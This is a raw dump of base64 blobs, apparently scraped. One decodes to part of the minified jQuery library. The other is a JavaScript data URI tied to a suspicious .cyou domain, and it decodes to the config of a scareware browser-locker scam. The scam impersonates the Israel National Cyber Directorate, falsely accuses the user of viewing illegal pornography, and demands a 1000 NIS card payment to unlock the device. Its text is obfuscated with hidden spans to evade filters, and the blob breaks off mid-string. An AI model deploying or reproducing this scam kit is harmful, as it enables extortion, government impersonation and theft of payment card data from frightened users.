iXSl0PWEodCk7ZWxzZSB0cnl7dD1hKHQpfWNhdGNoKGUpe3JldHVybntzdGF0ZToicGFyc2VyZXJyb3IiLGVycm9yOmE/ZToiTm8gY29udmVyc2lvbiBmcm9tICIrdSsiIHRvICIrb319fXJldHVybntzdGF0ZToic3VjY2VzcyIsZGF0YTp0fX0odixzLFQsaSksaT8odi5pZk1vZGlmaWVkJiYoKHU9VC5nZXRSZXNwb25zZUhlYWRlcigiTGFzdC1Nb2RpZmllZCIpKSYmKFMubGFzdE1vZGlmaWVkW2ZdPXUpLCh1PVQuZ2V0UmVzcG9uc2VIZWFkZXIoImV0YWciKSkmJihTLmV0YWdbZl09dSkpLDIwND09PWV8fCJIRUFEIj09PXYudHlwZT9sPSJub2NvbnRlbnQiOjMwND09PWU/bD0ibm90bW9kaWZpZWQiOihsPXMuc3RhdGUsbz1zLmRhdGEsaT0hKGE9cy5lcnJvcikpKTooYT1sLCFlJiZsfHwobD0iZXJyb3IiLGU8MCYmKGU9MCkpKSxULnN0YXR1cz1lLFQuc3RhdHVzVGV4dD0odHx8bCkrIiIsaT94LnJlc29sdmVXaXRoKHksW28sbCxUXSk6eC5yZWplY3RXaXRoKHksW1QsbCxhXSksVC5zdGF0dXNDb2RlKHcpLHc9dm9pZCAwLGcmJm0udHJpZ2dlcihpPyJhamF4U3VjY2VzcyI6ImFqYXhFcnJvciIsW1QsdixpP286YV0pLGIuZmlyZVdpdGgoeSxbVCxsXSksZyYmKG0udHJpZ2dlcigiYWpheENvbXBsZXRlIixbVCx2XSksLS1TLmFjdGl2ZXx8Uy5ldmVudC50cmlnZ2VyKCJhamF4U3RvcCIpKSl9cmV0dXJuIFR9LGdldEpTT046ZnVuY3Rpb24oZSx0LG4pe3JldHVybiBTLmdldChlLHQsbiwianNvbiIpfSxnZXRTY3JpcHQ6ZnVuY3Rpb24oZSx0KXtyZXR1cm4gUy5nZXQoZSx2b2lkIDAsdCwic2NyaXB0Iil9fSksUy5lYWNoKFsiZ2V0IiwicG9zdCJdLGZ1bmN0aW9uKGUsaSl7U1tpXT1mdW5jdGlvbihlLHQsbixyKXtyZXR1cm4gbSh0KSYmKHI9cnx8bixuPXQsdD12b2lkIDApLFMuYWpheChTLmV4dGVuZCh7dXJsOmUsdHlwZTppLGRhdGFUeXBlOnIsZGF0YTp0LHN1Y2Nlc3M6bn0sUy5pc1BsYWluT2JqZWN0KGUpJiZlKSl9fSksUy5hamF4UHJlZmlsdGVyKGZ1bmN0aW9uKGUpe3ZhciB0O2Zvcih0IGluIGUuaGVhZGVycykiY29udGVudC10eXBlIj09PXQudG9Mb3dlckNhc2UoKSYmKGUuY29udGVudFR5cGU9ZS5oZWFkZXJzW3RdfHwiIil9KSxTLl9ldmFsVXJsPWZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4gUy5hamF4KHt1cmw6ZSx0eXBlOiJHRVQiLGRhdGFUeXBlOiJzY3JpcHQiLGNhY2hlOiEwLGFzeW5jOiExLGdsb2JhbDohMSxjb252ZXJ0ZXJzOnsidGV4dCBzY3JpcHQiOmZ1bmN0aW9uKCl7fX0sZGF0YUZpbHRlcjpmdW5jdGlvbihlKXtTLmdsb2JhbEV2YWwoZSx0LG4pfX0pfSxTLmZuLmV4dGVuZCh7d3JhcEFsbDpmdW5jdGlvbihlKXt2YXIgdDtyZXR1cm4gdGhpc1swXSYmKG0oZSkmJihlPWUuY2FsbCh0aGlzWzBdKSksdD1TKGUsdGhpc1swXS5vd25lckRvY3VtZW50KS5lcSgwKS5jbG9uZSghMCksdGhpc1swXS5wYXJlbnROb2RlJiZ0Lmluc2VydEJlZm9yZSh0aGlzWzBdKSx0Lm1hcChmdW5jdGlvbigpe3ZhciBlPXRoaXM7d2hpbGUoZS5maXJzdEVsZW1lbnRDaGlsZCllPWUuZmlyc3RFbGVtZW50Q2hpbGQ7cmV0dXJuIGV9KS5hcHBlbmQodGhpcykpLHRoaXN9LHdyYXBJbm5lcjpmdW5jdGlvbihuKXtyZXR1cm4gbShuKT90aGlzLmVhY2goZnVuY3Rpb24oZSl7Uyh0aGlzKS53cmFwSW5uZXIobi5jYWxsKHRoaXMsZSkpfSk6dGhpcy5lYWNoKGZ1bmN0aW9uKCl7dmFyIGU9Uyh0aGlzKSx0PWUuY29udGVudHMoKTt0Lmxlbmd0aD90LndyYXBBbGwobik6ZS5hcHBlbmQobil9KX0sd3JhcDpmdW5jdGlvbih0KXt2YXIgbj1tKHQpO3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oZSl7Uyh0aGlzKS53cmFwQWxsKG4/dC5jYWxsKHRoaXMsZSk6dCl9KX0sdW53cmFwOmZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLnBhcmVudChlKS5ub3QoImJvZHkiKS5lYWNoKGZ1bmN0aW9uKCl7Uyh0aGlzKS5yZXBsYWNlV2l0aCh0aGlzLmNoaWxkTm9kZXMpfSksdGhpc319KSxTLmV4cHIucHNldWRvcy5oaWRkZW49ZnVuY3Rpb24oZSl7cmV0dXJuIVMuZXhwci5wc2V1ZG9zLnZpc2libGUoZSl9LFMuZXhwci5wc2V1ZG9zLnZpc2libGU9ZnVuY3Rpb24oZSl7cmV0dXJuISEoZS5vZmZzZXRXaWR0aHx8ZS5vZmZzZXRIZWlnaHR8fGUuZ2V0Q2xpZW50UmVjdHMoKS5sZW5ndGgpfSxTLmFqYXhTZXR0aW5ncy54aHI9ZnVuY3Rpb24oKXt0cnl7cmV0dXJuIG5ldyBDLlhNTEh0dHBSZXF1ZXN0fWNhdGNoKGUpe319O3ZhciBfdD17MDoyMDAsMTIyMzoyMDR9LHp0PVMuYWpheFNldHRpbmdzLnhocigpO3kuY29ycz0hIXp0JiYid2l0aENyZWRlbnRpYWxzImluIHp0LHkuYWpheD16dD0hIXp0LFMuYWpheFRyYW5zcG9ydChmdW5jdGlvbihpKXt2YXIgbyxhO2lmKHkuY29yc3x8enQmJiFpLmNyb3NzRG9tYWluKXJldHVybntzZW5kOmZ1bmN0aW9uKGUsdCl7dmFyIG4scj1pLnhocigpO2lmKHIub3BlbihpLnR5cGUsaS51cmwsaS5hc3luYyxpLnVzZXJuYW1lLGkucGFzc3dvcmQpLGkueGhyRmllbGRzKWZvcihuIGluIGkueGhyRmllbGRzKXJbbl09aS54aHJGaWVsZHNbbl07Zm9yKG4gaW4gaS5taW1lVHlwZSYmci5vdmVycmlkZU1pbWVUeXBlJiZyLm92ZXJyaWRlTWltZVR5cGUoaS5taW1lVHlwZSksaS5jcm9zc0RvbWFpbnx8ZVsiWC1SZXF1ZXN0ZWQtV2l0aCJdfHwoZVsiWC1SZXF1ZXN0ZWQtV2l0aCJdPSJYTUxIdHRwUmVxdWVzdCIpLGUpci5zZXRSZXF1ZXN0SGVhZGVyKG4sZVtuXSk7bz1mdW5jdGlvbihlKXtyZXR1cm4gZnVuY3Rpb24oKXtvJiYobz1hPXIub25sb2FkPXIub25lcnJvcj1yLm9uYWJvcnQ9ci5vbnRpbWVvdXQ9ci5vbnJlYWR5c3RhdGVjaGFuZ2U9bnVsbCwiYWJvcnQiPT09ZT9yLmFib3J0KCk6ImVycm9yIj09PWU/Im51bWJlciIhPXR5cGVvZiByLnN0YXR1cz90KDAsImVycm9yIik6dChyLnN0YXR1cyxyLnN0YXR1c1RleHQpOnQoX3Rbci5zdGF0dXNdfHxyLnN0YXR1cyxyLnN0YXR1c1RleHQsInRleHQiIT09KHIucmVzcG9uc2VUeXBlfHwidGV4dCIpfHwic3RyaW5nIiE9dHlwZW9mIHIucmVzcG9uc2VUZXh0P3tiaW5hcnk6ci5yZXNwb25zZX06e3RleHQ6ci5yZXNwb25zZVRleHR9LHIuZ2V0QWxsUmVzcG9uc2VIZWFkZXJzKCkpKX19LHIub25sb2FkPW8oKSxhPXIub25lcnJvcj1yLm9udGltZW91dD1vKCJlcnJvciIpLHZvaWQgMCE9PXIub25hYm9ydD9yLm9uYWJvcnQ9YTpyLm9ucmVhZHlzdGF0ZWNoYW5nZT1mdW5jdGlvbigpezQ9PT1yLnJlYWR5U3RhdGUmJkMuc2V0VGltZW91dChmdW5jdGlvbigpe28mJmEoKX0pfSxvPW8oImFib3J0Iik7dHJ5e3Iuc2VuZChpLmhhc0NvbnRlbnQmJmkuZGF0YXx8bnVsbCl9Y2F0Y2goZSl7aWYobyl0aHJvdyBlfX0sYWJvcnQ6ZnVuY3Rpb24oKXtvJiZvKCl9fX0pLFMuYWpheFByZWZpbHRlcihmdW5jdGlvbihlKXtlLmNyb3NzRG9tYWluJiYoZS5jb250ZW50cy5zY3JpcHQ9ITEpfSksUy5hamF4U2V0dXAoe2FjY2VwdHM6e3NjcmlwdDoidGV4dC9qYXZhc2NyaXB0LCBhcHBsaWNhdGlvbi9qYXZhc2NyaXB0LCBhcHBsaWNhdGlvbi9lY21hc2NyaXB0LCBhcHBsaWNhdGlvbi94LWVjbWFzY3JpcHQifSxjb250ZW50czp7c2NyaXB0Oi9cYig/OmphdmF8ZWNtYSlzY3JpcHRcYi99LGNvbnZlcnRlcnM6eyJ0ZXh0IHNjcmlwdCI6ZnVuY3Rpb24oZSl7cmV0dXJuIFMuZ2xvYmFsRXZhbChlKSxlfX19KSxTLmFqYXhQcmVmaWx0ZXIoInNjcmlwdCIsZnVuY3Rpb24oZSl7dm9pZCAwPT09ZS5jYWNoZSYmKGUuY2FjaGU9ITEpLGUuY3Jvc3NEb21haW4mJihlLnR5cGU9IkdFVCIpfSksUy5hamF4VHJhbnNwb3J0KCJzY3JpcHQiLGZ1bmN0aW9uKG4pe3ZhciByLGk7aWYobi5jcm9zc0RvbWFpbnx8bi5zY3JpcHRBdHRycylyZXR1cm57c2VuZDpmdW5jdGlvbihlLHQpe3I9UygiPHNjcmlwdD4iKS5hdHRyKG4uc2NyaXB0QXR0cnN8fHt9KS5wcm9wKHtjaGFyc2V0Om4uc2NyaXB0Q2hhcnNldCxzcmM6bi51cmx9KS5vbigibG9hZCBlcnJvciIsaT1mdW5jdGlvbihlKXtyLnJlbW92ZSgpLGk9bnVsbCxlJiZ0KCJlcnJvciI9PT1lLnR5cGU/NDA0OjIwMCxlLnR5cGUpfSksRS5oZWFkLmFwcGVuZENoaWxkKHJbMF0pfSxhYm9ydDpmdW5jdGlvbigpe2kmJmkoKX19fSk7dmFyIFV0LFh0PVtdLFZ0PS8oPSlcPyg/PSZ8JCl8XD9cPy87Uy5hamF4U2V0dXAoe2pzb25wOiJjYWxsYmFjayIsanNvbnBDYWxsYmFjazpmdW5jdGlvbigpe3ZhciBlPVh0LnBvcCgpfHxTLmV4cGFuZG8rIl8iK0N0Lmd1aWQrKztyZXR1cm4gdGhpc1tlXT0hMCxlfX0pLFMuYWpheFByZWZpbHRlcigianNvbiBqc29ucCIsZnVuY3Rpb24oZSx0LG4pe3ZhciByLGksbyxhPSExIT09ZS5qc29ucCYmKFZ0LnRlc3QoZS51cmwpPyJ1cmwiOiJzdHJpbmciPT10eXBlb2YgZS5kYXRhJiYwPT09KGUuY29udGVudFR5cGV8fCIiKS5pbmRleE9mKCJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKSYmVnQudGVzdChlLmRhdGEpJiYiZGF0YSIpO2lmKGF8fCJqc29ucCI9PT1lLmRhdGFUeXBlc1swXSlyZXR1cm4gcj1lLmpzb25wQ2FsbGJhY2s9bShlLmpzb25wQ2FsbGJhY2spP2UuanNvbnBDYWxsYmFjaygpOmUuanNvbnBDYWxsYmFjayxhP2VbYV09ZVthXS5yZXBsYWNlKFZ0LCIkMSIrcik6ITEhPT1lLmpzb25wJiYoZS51cmwrPShFdC50ZXN0KGUudXJsKT8iJiI6Ij8iKStlLmpzb25wKyI9IityKSxlLmNvbnZlcnRlcnNbInNjcmlwdCBqc29uIl09ZnVuY3Rpb24oKXtyZXR1cm4gb3x8Uy5lcnJvcihyKyIgd2FzIG5vdCBjYWxsZWQiKSxvWzBdfSxlLmRhdGFUeXBlc1swXT0ianNvbiIsaT1DW3JdLENbcl09ZnVuY3Rpb24oKXtvPWFyZ3VtZW50c30sbi5hbHdheXMoZnVuY3Rpb24oKXt2b2lkIDA9PT1pP1MoQykucmVtb3ZlUHJvcChyKTpDW3JdPWksZVtyXSYmKGUuanNvbnBDYWxsYmFjaz10Lmpzb25wQ2FsbGJhY2ssWHQucHVzaChyKSksbyYmbShpKSYmaShvWzBdKSxvPWk9dm9pZCAwfSksInNjcmlwdCJ9KSx5LmNyZWF0ZUhUTUxEb2N1bWVudD0oKFV0PUUuaW1wbGVtZW50YXRpb24uY3JlYXRlSFRNTERvY3VtZW50KCIiKS5ib2R5KS5pbm5lckhUTUw9Ijxmb3JtPjwvZm9ybT48Zm9ybT48L2Zvcm0+IiwyPT09VXQuY2hpbGROb2Rlcy5sZW5ndGgpLFMucGFyc2VIVE1MPWZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4ic3RyaW5nIiE9dHlwZW9mIGU/W106KCJib29sZWFuIj09dHlwZW9mIHQmJihuPXQsdD0hMSksdHx8KHkuY3JlYXRlSFRNTERvY3VtZW50Pygocj0odD1FLmltcGxlbWVudGF0aW9uLmNyZWF0ZUhUTUxEb2N1bWVudCgiIikpLmNyZWF0ZUVsZW1lbnQoImJhc2UiKSkuaHJlZj1FLmxvY2F0aW9uLmhyZWYsdC5oZWFkLmFwcGVuZENoaWxkKHIpKTp0PUUpLG89IW4mJltdLChpPU4uZXhlYyhlKSk/W3QuY3JlYXRlRWxlbWVudChpWzFdKV06KGk9eGUoW2VdLHQsbyksbyYmby5sZW5ndGgmJlMobykucmVtb3ZlKCksUy5tZXJnZShbXSxpLmNoaWxkTm9kZXMpKSk7dmFyIHIsaSxvfSxTLmZuLmxvYWQ9ZnVuY3Rpb24oZSx0LG4pe3ZhciByLGksbyxhPXRoaXMscz1lLmluZGV4T2YoIiAiKTtyZXR1cm4tMTxzJiYocj12dChlLnNsaWNlKHMpKSxlPWUuc2xpY2UoMCxzKSksbSh0KT8obj10LHQ9dm9pZCAwKTp0JiYib2JqZWN0Ij09dHlwZW9mIHQmJihpPSJQT1NUIiksMDxhLmxlbmd0aCYmUy5hamF4KHt1cmw6ZSx0eXBlOml8fCJHRVQiLGRhdGFUeXBlOiJodG1sIixkYXRhOnR9KS5kb25lKGZ1bmN0aW9uKGUpe289YXJndW1lbnRzLGEuaHRtbChyP1MoIjxkaXY+IikuYXBwZW5kKFMucGFyc2VIVE1MKGUpKS5maW5kKHIpOmUpfSkuYWx3YXlzKG4mJmZ1bmN0aW9uKGUsdCl7YS5lYWNoKGZ1bmN0aW9uKCl7bi5hcHBseSh0aGlzLG98fFtlLnJlc3BvbnNlVGV4dCx0LGVdKX0pfSksdGhpc30sUy5leHByLnBzZXVkb3MuYW5pbWF0ZWQ9ZnVuY3Rpb24odCl7cmV0dXJuIFMuZ3JlcChTLnRpbWVycyxmdW5jdGlvbihlKXtyZXR1cm4gdD09PWUuZWxlbX0pLmxlbmd0aH0sUy5vZmZzZXQ9e3NldE9mZnNldDpmdW5jdGlvbihlLHQsbil7dmFyIHIsaSxvLGEscyx1LGw9Uy5jc3MoZSwicG9zaXRpb24iKSxjPVMoZSksZj17fTsic3RhdGljIj09PWwmJihlLnN0eWxlLnBvc2l0aW9uPSJyZWxhdGl2ZSIpLHM9Yy5vZmZzZXQoKSxvPVMuY3NzKGUsInRvcCIpLHU9Uy5jc3MoZSwibGVmdCIpLCgiYWJzb2x1dGUiPT09bHx8ImZpeGVkIj09PWwpJiYtMTwobyt1KS5pbmRleE9mKCJhdXRvIik/KGE9KHI9Yy5wb3NpdGlvbigpKS50b3AsaT1yLmxlZnQpOihhPXBhcnNlRmxvYXQobyl8fDAsaT1wYXJzZUZsb2F0KHUpfHwwKSxtKHQpJiYodD10LmNhbGwoZSxuLFMuZXh0ZW5kKHt9LHMpKSksbnVsbCE9dC50b3AmJihmLnRvcD10LnRvcC1zLnRvcCthKSxudWxsIT10LmxlZnQmJihmLmxlZnQ9dC5sZWZ0LXMubGVmdCtpKSwidXNpbmciaW4gdD90LnVzaW5nLmNhbGwoZSxmKTooIm51bWJlciI9PXR5cGVvZiBmLnRvcCYmKGYudG9wKz0icHgiKSwibnVtYmVyIj09dHlwZW9mIGYubGVmdCYmKGYubGVmdCs9InB4IiksYy5jc3MoZikpfX0sUy5mbi5leHRlbmQoe29mZnNldDpmdW5jdGlvbih0KXtpZihhcmd1bWVudHMubGVuZ3RoKXJldHVybiB2b2lkIDA9PT10P3RoaXM6dGhpcy5lYWNoKGZ1bmN0aW9uKGUpe1Mub2Zmc2V0LnNldE9mZnNldCh0aGlzLHQsZSl9KTt2YXIgZSxuLHI9dGhpc1swXTtyZXR1cm4gcj9yLmdldENsaWVudFJlY3RzKCkubGVuZ3RoPyhlPXIuZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCksbj1yLm93bmVyRG9jdW1lbnQuZGVmYXVsdFZpZXcse3RvcDplLnRvcCtuLnBhZ2VZT2Zmc2V0LGxlZnQ6ZS5sZWZ0K24ucGFnZVhPZmZzZXR9KTp7dG9wOjAsbGVmdDowfTp2b2lkIDB9LHBvc2l0aW9uOmZ1bmN0aW9uKCl7aWYodGhpc1swXSl7dmFyIGUsdCxuLHI9dGhpc1swXSxpPXt0b3A6MCxsZWZ0OjB9O2lmKCJmaXhlZCI9PT1TLmNzcyhyLCJwb3NpdGlvbiIpKXQ9ci5nZXRCb3VuZGluZ0NsaWVudFJlY3QoKTtlbHNle3Q9dGhpcy5vZmZzZXQoKSxuPXIub3duZXJEb2N1bWVudCxlPXIub2Zmc2V0UGFyZW50fHxuLmRvY3VtZW50RWxlbWVudDt3aGlsZShlJiYoZT09PW4uYm9keXx8ZT09PW4uZG9jdW1lbnRFbGVtZW50KSYmInN0YXRpYyI9PT1TLmNzcyhlLCJwb3NpdGlvbiIpKWU9ZS5wYXJlbnROb2RlO2UmJmUhPT1yJiYxPT09ZS5ub2RlVHlwZSYmKChpPVMoZSkub2Zmc2V0KCkpLnRvcCs9Uy5jc3MoZSwiYm9yZGVyVG9wV2lkdGgiLCEwKSxpLmxlZnQrPVMuY3NzKGUsImJvcmRlckxlZnRXaWR0aCIsITApKX1yZXR1cm57dG9wOnQudG9wLWkudG9wLVMuY3NzKHIsIm1hcmdpblRvcCIsITApLGxlZnQ6dC5sZWZ0LWkubGVmdC1TLmNzcyhyLCJtYXJnaW5MZWZ0IiwhMCl9fX0sb2Zmc2V0UGFyZW50OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubWFwKGZ1bmN0aW9uKCl7dmFyIGU9dGhpcy5vZmZzZXRQYXJlbnQ7d2hpbGUoZSYmInN0YXRpYyI9PT1TLmNzcyhlLCJwb3NpdGlvbiIpKWU9ZS5vZmZzZXRQYXJlbnQ7cmV0dXJuIGV8fHJlfSl9fSksUy5lYWNoKHtzY3JvbGxMZWZ0OiJwYWdlWE9mZnNldCIsc2Nyb2xsVG9wOiJwYWdlWU9mZnNldCJ9LGZ1bmN0aW9uKHQsaSl7dmFyIG89InBhZ2VZT2Zmc2V0Ij09PWk7Uy5mblt0XT1mdW5jdGlvbihlKXtyZXR1cm4gJCh0aGlzLGZ1bmN0aW9uKGUsdCxuKXt2YXIgcjtpZih4KGUpP3I9ZTo5PT09ZS5ub2RlVHlwZSYmKHI9ZS5kZWZhdWx0Vmlldyksdm9pZCAwPT09bilyZXR1cm4gcj9yW2ldOmVbdF07cj9yLnNjcm9sbFRvKG8/ci5wYWdlWE9mZnNldDpuLG8/bjpyLnBhZ2VZT2Zmc2V0KTplW3RdPW59LHQsZSxhcmd1bWVudHMubGVuZ3RoKX19KSxTLmVhY2goWyJ0b3AiLCJsZWZ0Il0sZnVuY3Rpb24oZSxuKXtTLmNzc0hvb2tzW25dPSRlKHkucGl4ZWxQb3NpdGlvbixmdW5jdGlvbihlLHQpe2lmKHQpcmV0dXJuIHQ9QmUoZSxuKSxNZS50ZXN0KHQpP1MoZSkucG9zaXRpb24oKVtuXSsicHgiOnR9KX0pLFMuZWFjaCh7SGVpZ2h0OiJoZWlnaHQiLFdpZHRoOiJ3aWR0aCJ9LGZ1bmN0aW9uKGEscyl7Uy5lYWNoKHtwYWRkaW5nOiJpbm5lciIrYSxjb250ZW50OnMsIiI6Im91dGVyIithfSxmdW5jdGlvbihyLG8pe1MuZm5bb109ZnVuY3Rpb24oZSx0KXt2YXIgbj1hcmd1bWVudHMubGVuZ3RoJiYocnx8ImJvb2xlYW4iIT10eXBlb2YgZSksaT1yfHwoITA9PT1lfHwhMD09PXQ/Im1hcmdpbiI6ImJvcmRlciIpO3JldHVybiAkKHRoaXMsZnVuY3Rpb24oZSx0LG4pe3ZhciByO3JldHVybiB4KGUpPzA9PT1vLmluZGV4T2YoIm91dGVyIik/ZVsiaW5uZXIiK2FdOmUuZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50WyJjbGllbnQiK2FdOjk9PT1lLm5vZGVUeXBlPyhyPWUuZG9jdW1lbnRFbGVtZW50LE1hdGgubWF4KGUuYm9keVsic2Nyb2xsIithXSxyWyJzY3JvbGwiK2FdLGUuYm9keVsib2Zmc2V0IithXSxyWyJvZmZzZXQiK2FdLHJbImNsaWVudCIrYV0pKTp2b2lkIDA9PT1uP1MuY3NzKGUsdCxpKTpTLnN0eWxlKGUsdCxuLGkpfSxzLG4/ZTp2b2lkIDAsbil9fSl9KSxTLmVhY2goWyJhamF4U3RhcnQiLCJhamF4U3RvcCIsImFqYXhDb21wbGV0ZSIsImFqYXhFcnJvciIsImFqYXhTdWNjZXNzIiwiYWpheFNlbmQiXSxmdW5jdGlvbihlLHQpe1MuZm5bdF09ZnVuY3Rpb24oZSl7cmV0dXJuIHRoaXMub24odCxlKX19KSxTLmZuLmV4dGVuZCh7YmluZDpmdW5jdGlvbihlLHQsbil7cmV0dXJuIHRoaXMub24oZSxudWxsLHQsbil9LHVuYmluZDpmdW5jdGlvbihlLHQpe3JldHVybiB0aGlzLm9mZihlLG51bGwsdCl9LGRlbGVnYXRlOmZ1bmN0aW9uKGUsdCxuLHIpe3JldHVybiB0aGlzLm9uKHQsZSxuLHIpfSx1bmRlbGVnYXRlOmZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4gMT09PWFyZ3VtZW50cy5sZW5ndGg/dGhpcy5vZmYoZSwiKioiKTp0aGlzLm9mZih0LGV8fCIqKiIsbil9LGhvdmVyOmZ1bmN0aW9uKGUsdCl7cmV0dXJuIHRoaXMubW91c2VlbnRlcihlKS5tb3VzZWxlYXZlKHR8fGUpfX0pLFMuZWFjaCgiYmx1ciBmb2N1cyBmb2N1c2luIGZvY3Vzb3V0IHJlc2l6ZSBzY3JvbGwgY2xpY2sgZGJsY2xpY2sgbW91c2Vkb3duIG1vdXNldXAgbW91c2Vtb3ZlIG1vdXNlb3ZlciBtb3VzZW91dCBtb3VzZWVudGVyIG1vdXNlbGVhdmUgY2hhbmdlIHNlbGVjdCBzdWJtaXQga2V5ZG93biBrZXlwcmVzcyBrZXl1cCBjb250ZXh0bWVudSIuc3BsaXQoIiAiKSxmdW5jdGlvbihlLG4pe1MuZm5bbl09ZnVuY3Rpb24oZSx0KXtyZXR1cm4gMDxhcmd1bWVudHMubGVuZ3RoP3RoaXMub24obixudWxsLGUsdCk6dGhpcy50cmlnZ2VyKG4pfX0pO3ZhciBHdD0vXltcc1x1RkVGRlx4QTBdK3xbXHNcdUZFRkZceEEwXSskL2c7Uy5wcm94eT1mdW5jdGlvbihlLHQpe3ZhciBuLHIsaTtpZigic3RyaW5nIj09dHlwZW9mIHQmJihuPWVbdF0sdD1lLGU9biksbShlKSlyZXR1cm4gcj1zLmNhbGwoYXJndW1lbnRzLDIpLChpPWZ1bmN0aW9uKCl7cmV0dXJuIGUuYXBwbHkodHx8dGhpcyxyLmNvbmNhdChzLmNhbGwoYXJndW1lbnRzKSkpfSkuZ3VpZD1lLmd1aWQ9ZS5ndWlkfHxTLmd1aWQrKyxpfSxTLmhvbGRSZWFkeT1mdW5jdGlvbihlKXtlP1MucmVhZHlXYWl0Kys6Uy5yZWFkeSghMCl9LFMuaXNBcnJheT1BcnJheS5pc0FycmF5LFMucGFyc2VKU09OPUpTT04ucGFyc2UsUy5ub2RlTmFtZT1BLFMuaXNGdW5jdGlvbj1tLFMuaXNXaW5kb3c9eCxTLmNhbWVsQ2FzZT1YLFMudHlwZT13LFMubm93PURhdGUubm93LFMuaXNOdW1lcmljPWZ1bmN0aW9uKGUpe3ZhciB0PVMudHlwZShlKTtyZXR1cm4oIm51bWJlciI9PT10fHwic3RyaW5nIj09PXQpJiYhaXNOYU4oZS1wYXJzZUZsb2F0KGUpKX0sUy50cmltPWZ1bmN0aW9uKGUpe3JldHVybiBudWxsPT1lPyIiOihlKyIiKS5yZXBsYWNlKEd0LCIiKX0sImZ1bmN0aW9uIj09dHlwZW9mIGRlZmluZSYmZGVmaW5lLmFtZCYmZGVmaW5lKCJqcXVlcnkiLFtdLGZ1bmN0aW9uKCl7cmV0dXJuIFN9KTt2YXIgWXQ9Qy5qUXVlcnksUXQ9Qy4kO3JldHVybiBTLm5vQ29uZmxpY3Q9ZnVuY3Rpb24oZSl7cmV0dXJuIEMuJD09PVMmJihDLiQ9UXQpLGUmJkMualF1ZXJ5PT09UyYmKEMualF1ZXJ5PVl0KSxTfSwidW5kZWZpbmVkIj09dHlwZW9mIGUmJihDLmpRdWVyeT1DLiQ9UyksU30pOw==
  3. https://ilmnys.cyou/data:text/javascript;base64,dmFyIGRmYm5oZmogPSAneyJ0aXRsZSI6ICJJc3JhZWwgTmF0aW9uYWwgQ3liZXIgRGlyZWN0b3JhdGUiLCcgKw0KICAgICciYWxlcnRNc2ciOiJZbzxzcGFuIGNsYXNzPWhpZGRlbj5EUlhUcmN5dWZ5aXVvaXBkbHM8L3NwYW4+dXIgY288c3BhbiBjbGFzcz1oaWRkZW4+RFJYVHJjeXVmeWl1b2lwZGxzPC9zcGFuPm1wdXRlciBoYXMgYmVlbiBibG88c3BhbiBjbGFzcz1oaWRkZW4+RFJYVHJjeXVmeWl1b2lwZGxzPC9zcGFuPmNrZWQiLCcgKw0KICAgICcibW91c2VMJysnb2NrIjogImZhbHNlIiwnICsNCiAgICAnInNlbGVjdG9yIjoiI0xLTWt1WWZ0WVV5aW9palRyeXRmdUoiLCcgKw0KICAgICcidGFyZ2V0U2NyaXB0IjoiTEt1a3l0ZnJDZHRyeWN0cnQucGhwIiwnICsNCiAgICAnInN1Y2Nlc3NMbmtUaXRsZSI6ICJkb3dubG9hZCByZWNlaXB0IiwnICsNCiAgICAnInVybCIgOiAiaHR0cHM6Ly93d3cuZ292LmlsL2VuL2RlcGFydG1lbnRzL2lzcmFlbF9uYXRpb25hbF9jeWJlcl9kaXJlY3RvcmF0ZSIsJyArDQogICAgJyJyZXNvbHV0aW9uIjogIk5hdGlvbmFsIFNlY3VyaXR5IGFuZCBDeWJlciBEZWZlbnNlIERlcGFydG1lbnQgb2YgdGhlIFN0YXRlIG9mIElzcmFlbCwgMjIuMTEuMjAyNCIsJyArDQogICAgJyJzZWNvbmRCbG9jayI6ICI8Yj5Zb3VyIGJyPHNwYW4gY2xhc3M9aGlkZGVuPkRSWFRyY3l1ZnlpdW9pcGRsczwvc3Bhbj5vd3NlciBoYXMgYmVlbiBibDxzcGFuIGNsYXNzPWhpZGRlbj5EUlhUcmN5dWZ5aXVvaXBkbHM8L3NwYW4+b2NrZWQ8L2I+IGR1ZSB0byByZXBlYXRlZCBhY2Nlc3MgdG8gcHJvaGliaXRlZCB3ZWJzaXRlcyBjb250YWluaW5nIHBvcm5vZ3JhcGhpYyBjb250ZW50LCBpbmNsdWRpbmcgbWF0ZXJpYWxzIHdpdGggZXhwbGljaXQgdmlvbGVudCBzY2VuZXMsIGltbW9yYWwgYmVoYXZpb3IsIGFuZCBvdGhlciBmb3JtcyBvZiBjb250ZW50IHRoYXQgdmlvbGF0ZSB0aGUgbGF3cyBvZiB0aGUgU3RhdGUgb2YgSXNyYWVsLjwvZGl2PicrDQonPGRpdiBjbGFzcz1tdC0yPkFjY29yZGluZyB0byBTZWM8c3BhbiBjbGFzcz1oaWRkZW4+RFJYVHJjeXVmeWl1b2lwZGxzPC9zcGFuPmlvbiAyMTQgYW5kIFNlY3Q8c3BhbiBjbGFzcz1oaWRkZW4+RFJYVHJjeXVmeWl1b2lwZGxzPC9zcGFuPmlvbiAyMTQoYikgb2YgdGhlIElzcmFlbGkgUGVuYWwgQ29kZSwgdGhlIHBvc3Nlc3Npb24sIGRpc3RyaWJ1dGlvbiwgYW5kIHZpZXdpbmcgb2YgcG9ybm9ncmFwaGljIG1hdGVyaWFsLCBlc3BlY2lhbGx5IHRob3NlIGNvbnRhaW5pbmcgdmlvbGVuY2Ugb3IgaW1hZ2VyeSB0aGF0IGlzIGluY29uc2lzdGVudCB3aXRoIG1vcmFsIHZhbHVlcywgYXJlIGNvbnNpZGVyZWQgY3JpbWluYWwgb2ZmZW5zZXMuIFlvdSBhcmUgcmVxdWlyZWQgdG8gcGF5IGEgZmluZSBvZiAxMDAwIE5JUyB1c2luZyBhIGNyZWRpdCBvciBkZWJpdCBjYXJkIHRvIHJlbGVhc2UgeW91ciBkZXZpY2UuPC9kaXY+JysNCiAgICAnPGRpdiBjbGFzcz1tdC0yPjxpPk5vdGU6IElmIHlvdSBkbyBub3QgcGE8c3BhbiBjbGFzcz1oaWRkZW4+RFJYVHJjeXVmeWl1b2lwZGxzPC9zcGFuPnkgdGhlIGZpPHNwYW4gY2xhc3M9aGlkZGVuPkRSWFRyY3l1ZnlpdW9pcGRsczwvc3Bhbj5uZSBvciBhdHRlbXB0IHRvIGJ5cGFzcyB0aGUgYmxvP